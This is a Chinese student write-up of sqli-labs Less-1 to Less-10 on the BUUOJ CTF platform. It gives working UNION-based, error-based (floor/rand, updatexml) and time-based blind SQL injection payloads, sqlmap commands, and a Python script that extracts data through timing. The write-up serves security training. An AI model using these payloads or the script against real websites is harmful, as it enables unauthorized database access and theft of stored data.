创新实践A-3

[toc]

前言

本次实践内容为SQL注入,测试平台在BUUOJ,

https://buuoj.cn

需注册账号,然后在Challenges->Basic->sqli-labs中开启靶机环境。

本篇文章记录less-1 ~ less10,以后随缘更新。

判断注入方法

一些比较基础的判断方法,不是所有时候都能用,比较基础的地方可以尝试一下。不过最好的判断方法就是不判断,所有方法都测试过去。

先判断闭合注入,

?id=1'
?id=1"

如果都报错则为整型注入。

如果单引号报错,双引号不报错,则尝试

?id=1'--+ 

如果不报错则为单引号注入,双引号同理。

如果报错信息有括号,则可能需要加括号闭合注入,如图

输入以下代码,报错

?id=1')

输入以下代码,未报错

?id=1')--+

所以则为单引号括号闭合注入,双引号同理

如果没有回显数据,那么就可能是报错注入或者是时间盲注,具体根据情况进行操作,以下会有实操展示。

Less-1

单引号注入

根据hint可知,id是注入点,尝试id=1:

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=1

id=2,3,4....也是有数据显示。

先试试 id=1',报错了

再试试id=1",没有报错,所以此题为单引号注入

查一下数据库的列数:

order by 2,order by 3,order by 4

?id=1' order by 3--+  //没有报错
?id=1' order by 4--+  //报错了,没有第四列的数据,所以一共只有三列数据

看一下返回值在哪显示:

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=-1' union select 1,2,3--+

在Your Login name里显示第二列数据,在Your Password中显示第三列数据。

爆库:

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)--+

其中security储存的就是那些用户名、密码等等。在ctftraining中储存的就是我们要找的flag,爆数据表名:

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )--+

查字段:

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')--+

查字段值:

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)--+

此题也可以利用sqlmap跑出来,但建议学习阶段还是手注的好,盲注的限制很大,实战作用不会很大

sqlmap方法:

下载地址:

https://github.com/sqlmapproject/sqlmap

按照以下代码顺序即可得到flag:

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=1 //查询是否存在注入
python sqlmap.py -u http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=1 --dbs //查询所有数据表名
sqlmap-master>python sqlmap.py -u http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=1 -D ctftraining --tables //查询所有表名
python sqlmap.py -u http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=1 -D ctftraining -T flag --columns //查询所有字段名
python sqlmap.py -u http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-1/?id=1 -D ctftraining -T flag -C flag --dump//查询字段值

具体回显值有兴趣的自己试试。

Less-2

整型注入

与less-1完全一样,只不过所有命令不需要单引号隔断符,把id后的单引号去掉,所有步骤一样即可

Less-3

单引号括号注入

与less-1完全一样,隔断符改为id=-1')

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-3/?id=-1')%20union%20select%201,1,(SELECT%20GROUP_CONCAT(flag)%20FROM%20ctftraining.flag)--+

Less-4

双引号括号注入

与less-3完全一样,采用双引号闭合

http://f273fffb-c85e-495e-8e4e-93c5d1b370af.node3.buuoj.cn/Less-4/?id=-1")%20union%20select%201,1,(SELECT%20GROUP_CONCAT(flag)%20FROM%20ctftraining.flag)--+

Less-5

报错注入

报错注入一些payload:

or updatexml(1,concat(0x7e,(SELECT(payload)),0x7e),1)%23
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)%23
http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-5/?id=1

get一个id值发现没有回显,而且单引号双引号括号注入都不行,所以union就没有意义了,因为不会回显数据。

那么这题肯定就不是普通的单引号双引号注入了,这题采用的是报错注入。报错注入顾名思义,就是通过故意报错触发payload,在XSS中报错触发也特别常用。

报错注入一般通过floor函数进行,报错注入格式:

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

payload插入需要执行的命令。

比如:

输入以下命令

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((select version()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

就能查到该数据库的版本

原理:floor的作用是向下取整,而之所以使用rand(0)*2却不采取rand(),是因为rand函数的一些伪随机性质,rand(0)*2的值能保证固定为01101,然后利用group by key函数的性质报错回显。

具体原理我目前也不是很熟悉,详细可见:

https://blog.csdn.net/weixin_41594045/article/details/102530006

https://blog.csdn.net/he_and/article/details/80455884

知道报错注入的原理和payload之后,接下来就是跟前4关一样慢慢的尝试了

具体payload的原理就需要自己去查资料慢慢理解了,不会一下子就懂的。可以去学学数据库相关的操作,大三的时候信安也会开这门课。

查库名:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

这里limit x,1可以是0 1 2 3.... ,都对应着不同的数据库名

需要注意的是这个数据库名是ctftraining,后面的1是floor(rand(0)*2)的回显,如果改成floor(rand(0)*4),1就会变成2

查表名:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查字段名:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

这里和上图一样是因为表名和字段名都叫flag

查字段值:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

当然这题不止报错注入这一种方法,利用时间盲注也是可以的,想尝试的可以自己尝试一下,我会在后面的关卡中写这个方法。

Less-6

这关get id=1,显示结果和less-5一模一样,显然方法也是一样的

输入以下命令没有报错

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-6/?id=1'

改成id=1"后报错,所以这题是利用id=1"的报错注入

将less-5所有payload中的单引号改成双引号即可获得flag,最终payload:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

通过报错注入的原理也可知,只要能够回显报错信息就能进行注入,所以第一关到第四关利用报错注入也是可以实现的。

Less-7

时间盲注

先测试注入点,单引号,双引号,单引号括号,双引号括号慢慢试过去。

最终在以下payload未报错

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-7/?id=1'))--+

而去掉--+还是报错的,所以注入点就是'))

查询列数(其实根据前面的题目,都可以知道这些数据库几乎都是一模一样的,只不过修改了一些注入点)

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-7/?id=1')) order by 3 --+

以上命令未报错

以下命令报错了:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-7/?id=1')) order by 4 --+

所以这题列数为3

时间盲注常用命令:

爆库长:

如果这里输入以下代码,那么由于此数据库名为security,长度为8。执行sleep(5),网页要加载五秒才能进去。如果长度改成其他的,就会直接进去。所以可以利用这个payload来观察加载时间,来进行注入。

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-7/?id=1')) and if(length(database())=8,sleep(5),1)--+

爆库名:

判断数据库名的第一个字符是不是s,如果是的话加载五秒钟。sleep()的意思其实不是加载时长,只是进入休眠状态的时间,放到网页上直观能表现出来的就是加载时长了。

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-7/?id=1')) and if(left(database(),1)='s',sleep(5),1)--+

时间盲注需要的时间特别长,且在网页上没有回显值,只能自己一个字符一个字符的尝试,所以一般会使用python脚本来解,但是脚本会有一点瑕疵,无法判断大小写,这点我目前还不知道该怎么解决。

这里我直接利用网上已有的脚本修改一下来展示,脚本不难,很好理解,不过并不是所有题目都能试用的,需要看情况修改

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}"
while True:
    for i in table:
        ss = time.time()
        data = {
            'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
        }
        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/?id=1')) union select 1,1,("+data['datebase']+")--+" #查找数据库

        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['table']+")--+" #查表名
        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['column']+")--+" #查字段名
        url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['flag']+")--+" #查数据
        t=requests.get(url)
        
        if time.time()-ss>=4:
            flag += i
            print (flag)
            break

这里有三行代码被注释掉了,分别是查找数据库、表名和字段名的,我这里因为已知了flag字段值就在flag字段名里,所以直接把前三个注释掉,查找flag就好了。实际操作可能会需要按顺序一个一个往下找。

最后if time.time()-ss>=4的判定,数值越大越准确,但是需要的时间也更高,因为假如设置了1,由于网站本身的卡顿和延迟,所有加载时间超过1s的都会被认为是flag,那就很容易出现错误信息。

由于注入时间花费特别长,我这里就展示一下解题过程:

后续还在慢慢解,table数据表里,如果网站太卡,越靠后的值需要注入的时间会明显越长。

Less-8

先尝试注入点:

id=1'无回显值

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-8/?id=1'

id=1'-++时有回显

这题之所以id=1'时无回显,id=1'--+时有回显,是因为这题的报错信息是不回显的,比如id任意输入字符,也会因为报错不回显信息:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-8/?id=f,d;s[qwe';125.*/+

所以这题又是不回显信息的,还是利用时间盲注来解,脚本直接附上:

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}"
while True:
    for i in table:
        ss = time.time()
        data = {
            'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
        }
        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/?id=1')) union select 1,1,("+data['datebase']+")--+" #查找数据库

        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-8/?id=1' union select 1,1,("+data['table']+")--+" #查表名
        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-8/?id=1' union select 1,1,("+data['column']+")--+" #查字段名
        url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-8/?id=1' union select 1,1,("+data['flag']+")--+" #查数据
        t=requests.get(url)
        
        if time.time()-ss>=4:
            flag += i
            print (flag)
            break

整体代码与Less-7类似,注入点等细节稍有不同,结果就不展示了,和Less-7解题过程一样

Less-9

先是寻找注入点,但是测试了好久,这题无论输入什么id值都是无回显,所以只能用时间盲注了。之前的less-7和less-8是有方向的时间盲注,这题是“真”盲注了。

利用时间盲注来判断注入点:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-9/?id=1 and sleep(5)--+

id值后输入注入点,如果休眠时间超过5秒,那就是注入点,最终测试id=1'时为注入点,输入以下payload网页会加载5秒钟:

http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-9/?id=1' and sleep(5)--+

然后利用脚本进行时间盲注:

由于此题注入点和Less-8一样,都为单引号。所以只需要把Less-8的脚本里的URL从Less-8改成Less-9即可使用

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}"
while True:
    for i in table:
        ss = time.time()
        data = {
            'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
        }
        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/?id=1')) union select 1,1,("+data['datebase']+")--+" #查找数据库

        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-9/?id=1' union select 1,1,("+data['table']+")--+" #查表名
        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-9/?id=1' union select 1,1,("+data['column']+")--+" #查字段名
        url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-9/?id=1' union select 1,1,("+data['flag']+")--+" #查数据
        t=requests.get(url)
        
        if time.time()-ss>=4:
            flag += i
            print (flag)
            break

Less-10

与Less-9完全一样,只不过注入点改为了双引号,脚本也只是把单引号改成双引号,url从Less-9改成Less-10即可。

需要注意的是python在赋值字符串时,如果是用"×××"来闭合字符串,那么字符串内部不能直接输入",需要利用\"来输入双引号,以下为Less-10脚本:

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}"
while True:
    for i in table:
        ss = time.time()
        data = {
            'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
        }
        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/?id=1')) union select 1,1,("+data['datebase']+")--+" #查找数据库

        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-10/?id=1\" union select 1,1,("+data['table']+")--+" #查表名
        #url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-10/?id=1\" union select 1,1,("+data['column']+")--+" #查字段名
        url="http://5a465a3f-5525-4c3b-94f0-a8116d79dd2e.node3.buuoj.cn/Less-10/?id=1\" union select 1,1,("+data['flag']+")--+" #查数据
        t=requests.get(url)
        
        if time.time()-ss>=4:
            flag += i
            print (flag)
            break

发表评论